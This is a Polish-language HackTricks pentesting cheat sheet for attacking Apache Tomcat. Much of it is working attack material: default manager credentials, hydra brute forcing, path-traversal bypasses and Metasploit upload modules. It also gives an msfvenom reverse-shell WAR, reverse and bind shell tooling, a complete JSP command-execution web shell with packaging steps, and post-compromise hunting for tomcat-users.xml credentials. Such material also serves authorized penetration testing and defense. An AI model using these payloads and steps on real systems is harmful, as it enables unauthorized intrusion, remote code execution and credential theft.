# Tomcat
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! * Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Odkrywanie * Zazwyczaj działa na **porcie 8080** * **Powszechny błąd Tomcat:**
## Eksploracja ### **Identyfikacja wersji** Aby znaleźć wersję Apache Tomcat, można wykonać prostą komendę: ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ``` ### **Lokalizacja plików menedżera** Identyfikacja dokładnych lokalizacji katalogów **`/manager`** i **`/host-manager`** jest kluczowa, ponieważ ich nazwy mogą być zmienione. Zaleca się przeprowadzenie ataku siłowego w celu zlokalizowania tych stron. ### **Wyliczanie nazw użytkowników** Dla wersji Tomcat starszych niż 6, istnieje możliwość wyliczenia nazw użytkowników poprzez: ```bash msf> use auxiliary/scanner/http/tomcat_enum ``` ### **Domyślne dane uwierzytelniające** Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Ten katalog jest chroniony przez podstawową autentykację HTTP, a powszechne dane uwierzytelniające to: * admin:admin * tomcat:tomcat * admin: * admin:s3cr3t * tomcat:s3cr3t * admin:tomcat Te dane uwierzytelniające można przetestować za pomocą: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` Kolejnym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat oraz systemu operacyjnego, ułatwiając identyfikację podatności. ### **Atak siłowy** Aby przeprowadzić atak siłowy na katalog manager, można użyć: ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html ``` ## Powszechne podatności ### **Ujawnienie śladów hasła** Dostęp do `/auth.jsp` może ujawnić hasło w śladzie w szczęśliwych okolicznościach. ### **Podwójne kodowanie URL** Podatność CVE-2007-1860 w `mod_jk` umożliwia podwójne kodowanie URL w przypadku trawersowania ścieżki, umożliwiając nieautoryzowany dostęp do interfejsu zarządzania za pomocą specjalnie spreparowanego adresu URL. Aby uzyskać dostęp do interfejsu webowego zarządzania Tomcatem, przejdź do: `pathTomcat/%252E%252E/manager/html` ### /examples Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnianie informacji oraz ataki typu cross-site scripting (XSS). Te skrypty, wymienione wyczerpująco, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnej eksploatacji. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp * /examples/jsp/snp/snoop.jsp * /examples/jsp/error/error.html * /examples/jsp/sessions/carts.html * /examples/jsp/checkbox/check.html * /examples/jsp/colors/colors.html * /examples/jsp/cal/login.html * /examples/jsp/include/include.jsp * /examples/jsp/forward/forward.jsp * /examples/jsp/plugin/plugin.jsp * /examples/jsp/jsptoserv/jsptoservlet.jsp * /examples/jsp/simpletag/foo.jsp * /examples/jsp/mail/sendmail.jsp * /examples/servlet/HelloWorldExample * /examples/servlet/RequestInfoExample * /examples/servlet/RequestHeaderExample * /examples/servlet/RequestParamExample * /examples/servlet/CookieExample * /examples/servlet/JndiServlet * /examples/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp ### **Eksploatacja trawersowania ścieżki** W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) można uzyskać dostęp do chronionych katalogów w Tomcacie, używając ścieżki: `/..;/` Na przykład, można **uzyskać dostęp do strony zarządzania Tomcatem** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html` **Innym sposobem** na obejście chronionych ścieżek za pomocą tego triku jest dostęp do `http://www.vulnerable.com/;param=value/manager/html` ## RCE Wreszcie, jeśli masz dostęp do Menedżera Aplikacji Webowej Tomcata, możesz **przesłać i wdrożyć plik .war (wykonać kod)**. ### Ograniczenia Będziesz mógł wdrożyć plik WAR tylko jeśli masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Szczegóły te można znaleźć w pliku _tomcat-users.xml_, zazwyczaj zdefiniowanym w `/usr/share/tomcat9/etc/tomcat-users.xml` (różni się w zależności od wersji) (patrz [POST](tomcat.md#post) sekcja). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # deploy under "path" context path curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell" # undeploy curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost msf exploit(multi/http/tomcat_mgr_upload) > set rport msf exploit(multi/http/tomcat_mgr_upload) > set httpusername msf exploit(multi/http/tomcat_mgr_upload) > set httppassword msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### Odwrócony shell MSFVenom 1. Utwórz plik war do wdrożenia: ```bash msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` 2. Prześlij plik `revshell.war` i uzyskaj do niego dostęp (`/revshell/`): ### Powiąż i odwróć powłokę z [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) W niektórych scenariuszach to nie działa (na przykład w starych wersjach sun) #### Pobierz ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` #### Odwrócony shell ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` #### Powłoka wiążąca ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` ### Korzystanie z [Culsterd](https://github.com/hatRiot/clusterd) ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` ### Metoda manualna - Powłoka sieciowa Utwórz plik **index.jsp** z tym [zawartością](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): ```java
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>
<%=output %>
``` ```bash mkdir webshell cp index.jsp webshell cd webshell jar -cvf ../webshell.war * webshell.war is created # Upload it ``` ### Metoda ręczna 2 Pobierz powłokę sieciową JSP, taką jak [ta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i utwórz plik WAR: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp # When this file is uploaded to the manager GUI, the /backup application will be added to the table. # Go to: http://tomcat-site.local:8180/backup/cmd.jsp ``` ## POST Nazwa pliku z danymi uwierzytelniającymi Tomcat to _tomcat-users.xml_ ```bash find / -name tomcat-users.xml 2>/dev/null ``` Inne sposoby pozyskiwania poświadczeń Tomcat: ```bash msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` ## Inne narzędzia do skanowania tomcat * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) ## Odnośniki * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! * Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).